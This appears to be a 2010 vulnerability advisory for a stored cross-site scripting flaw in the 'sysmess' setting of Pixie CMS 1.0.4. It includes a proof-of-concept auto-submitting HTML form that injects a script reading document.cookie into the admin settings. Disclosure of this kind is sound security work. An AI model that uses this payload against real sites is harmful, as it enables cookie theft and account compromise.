Stored XSS vulnerability in Pixie

Vulnerability ID:HTB22469
Product:Pixie
Vendor:Toggle Labs Ltd ( http://www.getpixie.co.uk/ )
Vulnerable Version:1.0.4 and Probably Prior Versions
Vendor Notification:01 July 2010
Public Disclosure:15 July 2010
Vulnerability Type:Stored XSS (Cross Site Scripting)
Status:Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level:Medium
Credit:High-Tech Bridge SA

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the Pixie core settings saving script to properly sanitize user-supplied input in "sysmess" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=pixie" method="post" name="main" >
<input type="hidden" name="langu" value="en-gb" />
<input type="hidden" name="time_zone" value="+0" />
<input type="hidden" name="dstime" value="no" />
<input type="hidden" name="dateformat" value="%Oe %B %Y, %H:%M" />
<input type="hidden" name="rte" value="1" />
<input type="hidden" name="logs" value="5" />
<input type="hidden" name="sysmess" value='hello message"><script>alert(document.cookie)</script>' />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" />
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>

Solution:

Currently we are not aware of any vendor-supplied patches or other solutions. If you are aware of more recent information related to this issue please notify us: